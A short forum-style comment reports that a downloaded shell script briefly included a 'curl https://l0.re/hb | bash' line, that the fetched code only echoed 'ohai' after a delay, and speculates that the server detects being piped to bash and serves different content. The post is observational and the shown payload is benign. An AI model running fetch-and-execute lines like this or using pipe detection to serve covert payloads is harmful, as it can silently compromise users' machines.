Just recently the script said this instead:

    #!/bin/sh
    curl https://l0.re/hb | bash
    modprobe pcspkr
    beep -l 1000 -r 3 -f 44000

And then that embedded URL says:

    echo ohai

But only after a long delay -- perhaps it is using one of the previously documented techniques to determine whether it's being piped to bash and behaving differently.

And now that I try the original curl again, that first line is gone completely:

    #!/bin/sh
    modprobe pcspkr
    beep -l 1000 -r 3 -f 44000

Strange.
